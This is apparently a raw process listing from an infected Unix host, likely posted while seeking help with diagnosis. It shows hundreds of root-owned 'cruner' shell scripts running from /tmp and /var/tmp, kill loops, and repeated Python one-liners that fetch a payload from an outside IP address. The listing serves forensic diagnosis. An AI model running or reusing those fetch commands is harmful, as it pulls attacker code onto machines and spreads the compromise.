0:00 /bin/ksh -p /bin/kill -9 > root 3945 3903 0 - ? 0:00 <defunct> > root 29086 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10337 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23477 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 14503 21453 0 - ? 0:00 <defunct> > root 17392 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2166 21771 0 - ? 0:00 <defunct> > root 15530 6030 0 - ? 0:00 <defunct> > root 18416 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4772 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 19939 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19526 10324 0 - ? 0:00 <defunct> > root 18059 15928 0 15:44:17 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 18134 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20428 29235 0 15:46:00 ? 0:00 sleep 60 > root 3020 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 13506 22921 0 15:45:11 ? 0:00 bash -sh > root 409 20613 0 15:44:11 ? 0:00 bash -sh > root 22551 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 7478 19581 0 15:46:03 ? 0:00 bash -sh > root 27052 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 7845 3644 0 15:45:20 ? 0:00 sleep 60 > root 9766 23362 0 - ? 0:00 <defunct> > root 11810 22863 0 - ? 0:00 <defunct> > root 10266 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 1597 609 0 15:45:48 ? 0:00 /bin/ksh -p /bin/kill -9 > root 23418 23986 0 15:45:47 ? 0:00 sleep 60 > root 2379 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29867 25213 0 15:45:34 ? 0:00 xargs kill -9 > root 18464 10267 0 15:42:58 ? 0:00 bash -sh > root 11027 25778 0 15:45:55 ? 0:00 bash -sh > root 23907 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24323 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13184 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23745 9611 0 15:45:43 ? 0:00 sh /var/tmp/cruner > root 23363 23331 0 15:45:43 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 18120 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9686 1 0 22:46:01 ? 0:00 sh /var/tmp/cruner > root 2784 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 16393 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11373 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 3112 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2551 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19956 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12951 239 0 - ? 0:00 <defunct> > root 6521 15564 0 15:45:20 ? 0:00 sleep 60 > root 10160 10990 0 15:46:03 ? 0:00 bash -sh > root 24095 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21332 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12359 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 29990 11069 0 15:44:37 ? 0:00 bash -sh > root 22227 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 13966 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23251 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 23154 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 17547 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 8491 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16285 8482 0 - ? 0:00 <defunct> > root 8558 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4226 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 15129 2990 0 15:44:52 ? 0:00 bash -sh > root 23378 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4495 17531 0 15:43:18 ? 0:00 bash -sh > root 1191 17847 0 - ? 0:00 <defunct> > root 5732 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28231 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28578 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 3763 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 20583 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20815 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26080 20023 0 15:45:07 ? 0:00 bash -sh > root 12026 20065 0 15:45:16 ? 0:00 bash -sh > root 14509 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8571 1 0 23:15:45 ? 0:00 sh /var/tmp/cruner > root 1124 20037 0 - ? 0:00 <defunct> > root 7720 23656 0 15:45:49 ? 0:00 sh /var/tmp/cruner > root 15453 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17805 22331 0 - ? 0:00 <defunct> > root 28075 22709 0 15:46:02 ? 0:00 bash -sh > root 20221 19479 0 15:45:33 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 18336 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18683 21170 0 15:44:44 ? 0:00 bash -sh > root 20508 3558 0 15:45:46 ? 0:00 sh /var/tmp/cruner > root 27592 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5704 20355 0 15:45:35 ? 0:00 xargs kill -9 > root 11299 4636 0 15:44:47 ? 0:00 bash -sh > root 22306 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3852 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10921 29547 0 15:45:32 ? 0:00 sleep 60 > root 6359 25138 0 15:45:09 ? 0:00 bash -sh > root 5403 4027 0 15:45:54 ? 0:00 xargs kill -9 > root 21527 22978 0 - ? 0:00 <defunct> > root 18332 29435 0 15:45:12 ? 0:00 bash -sh > root 22280 9938 0 15:45:13 ? 0:00 bash -sh > root 28376 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4542 1052 0 - ? 0:00 <defunct> > root 7673 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19000 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3318 14093 0 - ? 0:00 <defunct> > root 11294 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8104 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 28659 5915 0 15:46:02 ? 0:00 xargs kill -9 > root 27804 17403 0 15:45:53 ? 0:00 sh /var/tmp/cruner > root 11413 10106 0 15:43:26 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 6953 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27894 25564 0 15:45:34 ? 0:00 sleep 60 > root 3942 7280 0 15:44:29 ? 0:00 bash -sh > root 6228 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10746 10002 0 15:45:55 ? 0:00 sleep 60 > root 6625 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20212 20783 0 15:45:52 ? 0:00 bash -sh > root 24455 29339 0 - ? 0:00 <defunct> > root 18935 16387 0 15:45:06 ? 0:00 sleep 60 > root 7993 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 6694 21661 0 15:45:04 ? 0:00 bash -sh > root 23261 2760 0 15:45:38 ? 0:00 bash -sh > root 5336 2511 0 - ? 0:00 <defunct> > root 28053 22660 0 15:45:47 ? 0:00 sleep 60 > root 17210 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4931 554 0 15:45:40 ? 0:00 sleep 60 > root 8153 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 14979 9178 0 15:45:05 ? 0:00 bash -sh > root 29973 27727 0 15:45:14 ? 0:00 bash -sh > root 114 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 23996 29566 0 15:45:47 ? 0:00 sleep 60 > root 5238 21244 0 - ? 0:00 <defunct> > root 7038 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 12062 16448 0 - ? 0:00 <defunct> > root 7640 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26745 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1237 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4891 20697 0 - ? 0:00 <defunct> > root 15762 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20060 23530 0 15:45:06 ? 0:00 sleep 60 > root 12801 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27039 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24083 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 29284 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14161 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4483 1 0 20:03:02 ? 0:00 sh /var/tmp/cruner > root 29583 29020 0 15:45:48 ? 0:00 sh /tmp/cruner > root 24298 4640 0 15:45:27 ? 0:00 sleep 60 > root 15234 23315 0 - ? 0:00 <defunct> > root 11108 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 18934 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 14618 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7094 20108 0 15:43:43 ? 0:00 bash -sh > root 8152 1 0 22:07:42 ? 0:00 sh /var/tmp/cruner > root 7638 7620 0 15:43:43 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 26859 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 25241 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5804 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 20601 20709 0 15:45:33 ? 0:00 xargs kill -9 > root 29441 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 2652 22485 0 15:45:14 ? 0:00 bash -sh > root 29526 1953 0 15:45:18 ? 0:00 sleep 60 > root 19541 10792 0 15:45:38 ? 0:00 sh /tmp/cruner > root 6319 21768 0 - ? 0:00 <defunct> > root 6285 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21265 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26474 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28040 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20940 1737 0 15:44:53 ? 0:00 bash -sh > root 12065 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16693 4994 0 - ? 0:00 <defunct> > root 25552 24979 0 15:43:40 ? 0:00 bash -sh > root 15155 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24264 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 15831 11577 0 - ? 0:00 <defunct> > root 14339 4090 0 - ? 0:00 <defunct> > root 11802 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17342 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 3347 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 28552 2522 0 15:45:39 ? 0:00 sleep 60 > root 6708 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 27520 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4721 26418 0 - ? 0:00 <defunct> > root 7683 21756 0 15:45:45 ? 0:00 bash -sh > root 17300 24662 0 15:45:12 ? 0:00 bash -sh > root 3097 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 26910 11115 0 15:45:18 ? 0:00 bash -sh > root 5091 2186 0 15:45:28 ? 0:00 sleep 60 > root 8707 6370 0 15:45:20 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 28524 3134 0 15:45:34 ? 0:00 sleep 60 > root 20055 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 17925 28147 0 - ? 0:00 <defunct> > root 20588 15840 0 15:46:04 ? 0:00 bash -sh > root 2428 9879 0 15:45:19 ? 0:00 sleep 60 > root 29175 14620 0 15:46:02 ? 0:00 sleep 60 > root 768 5224 0 - ? 0:00 <defunct> > root 23315 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1173 1082 0 - ? 0:00 <defunct> > root 17026 5039 0 - ? 0:00 <defunct> > root 21040 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28576 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 1436 24372 0 15:45:03 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 9668 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3503 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11901 11875 0 15:45:59 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 7451 20742 0 15:44:13 ? 0:00 bash -sh > root 21888 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26454 27268 0 15:45:27 ? 0:00 sleep 60 > root 1065 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 20836 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 14260 16379 0 15:44:52 ? 0:00 bash -sh > root 21872 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 22318 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22587 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25421 15942 0 15:45:27 ? 0:00 sleep 60 > root 2537 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 18236 20578 0 - ? 0:00 <defunct> > root 16075 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 11605 15030 0 15:45:55 ? 0:00 bash -sh > root 16304 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 698 10242 0 15:45:18 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 9882 205 0 15:45:36 ? 0:00 xargs kill -9 > root 539 17033 0 15:44:11 ? 0:00 bash -sh > root 29368 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 29631 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 17538 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 1944 14770 0 15:45:31 ? 0:00 sleep 60 > root 15680 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13884 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6700 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 699 28176 0 15:45:53 ? 0:00 sleep 60 > root 4472 19440 0 15:45:49 ? 0:00 bash -sh > root 29751 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29889 29268 0 - ? 0:00 <defunct> > root 16169 7761 0 15:44:52 ? 0:00 bash -sh > root 22850 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15930 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25746 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28401 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20512 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 18171 26509 0 15:45:06 ? 0:00 sleep 60 > root 22646 1 0 01:20:53 ? 0:00 sh /var/tmp/cruner > root 8755 7997 0 15:45:40 ? 0:00 sh /var/tmp/cruner > root 25920 16664 0 - ? 0:00 <defunct> > root 7864 17596 0 15:44:51 ? 0:00 bash -sh > root 5873 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 21725 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14643 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12736 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28081 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 17763 9370 0 15:45:12 ? 0:00 sh /var/tmp/cruner > root 27590 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 21530 8029 0 15:43:53 ? 0:00 bash -sh > root 15459 18676 0 15:45:46 ? 0:00 bash -sh > root 26002 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 11803 11727 0 15:45:36 ? 0:00 sh /var/tmp/cruner > root 16078 10372 0 15:45:56 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 23681 20964 0 - ? 0:00 <defunct> > root 2740 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 16427 16545 0 15:42:32 ? 0:00 bash -sh > root 24888 27366 0 - ? 0:00 <defunct> > root 5416 17919 0 15:44:03 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 19449 17102 0 15:46:00 ? 0:00 /bin/ksh -p /bin/kill -9 > root 16310 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14833 7629 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 6620 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 5795 193 0 15:44:50 ? 0:00 bash -sh > root 12909 16561 0 15:45:21 ? 0:00 sleep 60 > root 18369 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 14038 12262 0 15:45:41 ? 0:00 /bin/ksh -p /bin/kill -9 > root 15815 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 25279 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29899 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14248 8102 0 15:43:20 ? 0:00 bash -sh > root 14069 2467 0 15:45:16 ? 0:00 sleep 60 > root 7721 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2671 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15053 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5237 26830 0 15:45:20 ? 0:00 bash -sh > root 18872 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29022 8478 0 15:45:18 ? 0:00 sleep 60 > root 6389 20206 0 - ? 0:00 <defunct> > root 19604 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20399 5858 0 15:46:04 ? 0:00 xargs kill -9 > root 29557 23907 0 15:44:55 ? 0:00 bash -sh > root 3247 11945 0 15:45:24 ? 0:00 xargs kill -9 > root 319 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 28760 10382 0 15:45:23 ? 0:00 sleep 60 > root 18709 24379 0 15:45:06 ? 0:00 sleep 60 > root 28300 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 25752 22364 0 15:46:01 ? 0:00 sleep 60 > root 29832 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14394 26998 0 - ? 0:00 <defunct> > root 23543 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 13176 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26619 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12638 12613 0 15:45:50 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 16565 21292 0 - ? 0:00 <defunct> > root 256 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11670 23615 0 - ? 0:00 <defunct> > root 3514 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23885 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 4369 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27051 20521 0 - ? 0:00 <defunct> > root 12958 20206 0 - ? 0:00 <defunct> > root 16660 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 28042 20791 0 15:45:34 ? 0:00 sleep 60 > root 17521 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 655 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 13355 17233 0 - ? 0:00 <defunct> > root 13660 10693 0 15:45:21 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 19920 20063 0 - ? 0:00 <defunct> > root 21451 11842 0 15:46:05 ? 0:00 sh /var/tmp/cruner > root 4774 4654 0 15:45:19 ? 0:00 bash -sh > root 10223 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 12027 4987 0 - ? 0:00 <defunct> > root 6616 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22354 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4214 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22334 20525 0 15:45:52 ? 0:00 bash -sh > root 2809 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 2229 25455 0 15:46:02 ? 0:00 sleep 60 > root 11897 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 28096 1595 0 15:45:53 ? 0:00 xargs kill -9 > root 4493 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 27859 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13682 7956 0 - ? 0:00 <defunct> > root 19141 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16742 16734 0 15:45:51 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 20672 13568 0 15:45:42 ? 0:00 sh /var/tmp/cruner > root 26204 23339 0 15:43:05 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 21798 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29912 12901 0 15:44:41 ? 0:00 bash -sh > root 2891 16791 0 15:45:19 ? 0:00 sleep 60 > root 19609 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 2958 2935 0 15:45:58 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 8642 16369 0 - ? 0:00 <defunct> > root 5391 20122 0 15:45:54 ? 0:00 bash -sh > root 4074 28041 0 15:45:58 ? 0:00 sleep 60 > root 17877 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 11023 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15811 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15604 14468 0 15:45:46 ? 0:00 bash -sh > root 9915 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 5061 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15226 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27709 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4601 23269 0 15:45:40 ? 0:00 xargs kill -9 > root 28594 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 24204 12641 0 15:45:43 ? 0:00 bash -sh > root 7929 29385 0 - ? 0:00 <defunct> > root 1636 24032 0 - ? 0:00 <defunct> > root 18339 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 24423 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10396 10390 0 15:45:55 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 20098 17128 0 15:46:04 ? 0:00 bash -sh > root 27910 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10101 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12276 2181 0 15:45:55 ? 0:00 sleep 60 > root 4957 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1558 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24387 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20121 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17255 2373 0 15:45:26 ? 0:00 sh /var/tmp/cruner > root 14397 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5493 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24924 15900 0 15:45:43 ? 0:00 sleep 60 > root 10900 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9293 21884 0 - ? 0:00 <defunct> > root 16915 15039 0 - ? 0:00 <defunct> > root 25007 21846 0 - ? 0:00 <defunct> > root 12046 1 0 03:15:07 ? 0:00 sh /var/tmp/cruner > root 28890 7913 0 15:44:10 ? 0:00 bash -sh > root 14552 14381 0 15:45:37 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 6749 9020 0 15:45:09 ? 0:00 bash -sh > root 14246 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21172 13372 0 15:45:06 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 6877 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8752 5085 0 15:45:45 ? 0:00 bash -sh > root 2644 11648 0 15:45:19 ? 0:00 sleep 60 > root 13026 1873 0 15:45:45 ? 0:00 bash -sh > root 9835 2489 0 - ? 0:00 <defunct> > root 16155 4550 0 15:45:46 ? 0:00 bash -sh > root 23095 3088 0 - ? 0:00 <defunct> > root 9609 14263 0 - ? 0:00 <defunct> > root 26229 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 29407 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2632 22890 0 15:44:50 ? 0:00 bash -sh > root 16610 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 23386 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 6504 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 14453 3314 0 15:45:05 ? 0:00 bash -sh > root 18378 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 28566 9167 0 15:45:08 ? 0:00 bash -sh > root 7052 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2389 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29892 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10808 15544 0 15:43:26 ? 0:00 bash -sh > root 838 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 19964 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 20339 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4929 27874 0 - ? 0:00 <defunct> > root 11987 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8409 6416 0 15:45:49 ? 0:00 bash -sh > root 15258 16100 0 15:45:51 ? 0:00 bash -sh > root 6377 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14338 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22385 22330 0 15:45:02 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 20217 25571 0 15:45:52 ? 0:00 bash -sh > root 1878 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 14764 14203 0 15:45:51 ? 0:00 bash -sh > root 9296 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18862 4399 0 15:46:04 ? 0:00 sh /var/tmp/cruner > root 1971 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15792 20534 0 15:43:27 ? 0:00 bash -sh > root 17952 5482 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 11704 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 1684 1 0 20:50:36 ? 0:00 sh /tmp/cruner > root 210 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 4434 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6663 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 5671 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12965 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 24644 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 17557 14253 0 - ? 0:00 <defunct> > root 26591 11614 0 15:46:01 ? 0:00 bash -sh > root 9971 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 20161 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22770 16432 0 15:45:43 ? 0:00 bash -sh > root 12549 10565 0 - ? 0:00 <defunct> > root 4350 13960 0 15:45:19 ? 0:00 sleep 60 > root 18220 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12212 10352 0 - ? 0:00 <defunct> > root 16306 15890 0 15:45:42 ? 0:00 sh /var/tmp/cruner > root 10426 21209 0 15:45:32 ? 0:00 sleep 60 > root 1283 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25404 5849 0 - ? 0:00 <defunct> > root 18692 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10036 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 13790 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 22074 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 9632 27296 0 - ? 0:00 <defunct> > root 22103 11197 0 15:45:52 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 21918 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5511 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 18086 13080 0 15:45:29 ? 0:00 sleep 60 > root 14004 25516 0 15:45:50 ? 0:00 bash -sh > root 17593 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19013 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25930 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3056 7561 0 15:45:48 ? 0:00 sleep 60 > root 19872 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15879 14269 0 - ? 0:00 <defunct> > root 12598 12586 0 15:45:36 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 23882 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 8090 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6356 15868 0 15:46:03 ? 0:00 python -c import urllib2 as fbi;print 